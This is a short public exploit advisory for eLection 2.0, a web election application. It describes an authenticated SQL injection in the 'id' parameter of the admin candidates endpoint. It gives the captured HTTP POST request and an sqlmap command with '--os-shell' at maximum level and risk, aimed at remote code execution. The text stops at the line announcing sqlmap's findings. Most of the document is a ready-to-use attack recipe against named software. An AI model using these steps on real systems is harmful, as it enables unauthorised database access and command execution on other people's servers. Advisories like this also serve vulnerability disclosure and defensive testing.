# Title: eLection 2.0 - 'id' SQL Injection
# Date: 2020-02-21
# Exploit Author: J3rryBl4nks
# Vendor Homepage: https://sourceforge.net/projects/election-by-tripath/
# Software Link: https://sourceforge.net/projects/election-by-tripath/files/#Version 2.0
# Tested on Ubuntu 19/Kali Rolling

# The eLection Web application is vulnerable to authenticated SQL Injection which leads to remote code execution:
# Login to the admin portal and browse to the candidates section. Capture the request in BurpSuite and save it to file:

POST /election/admin/ajax/op_kandidat.php HTTP/1.1
Host: HOSTNAME
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://HOSTNAME/election/admin/kandidat.php?_
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

aksi=fetch&id=256



Send the request to SQLMap with the following parameters:

    sqlmap -r getcandidate --level=5 --risk=3 --os-shell -p id


SQLMap will find the injection:
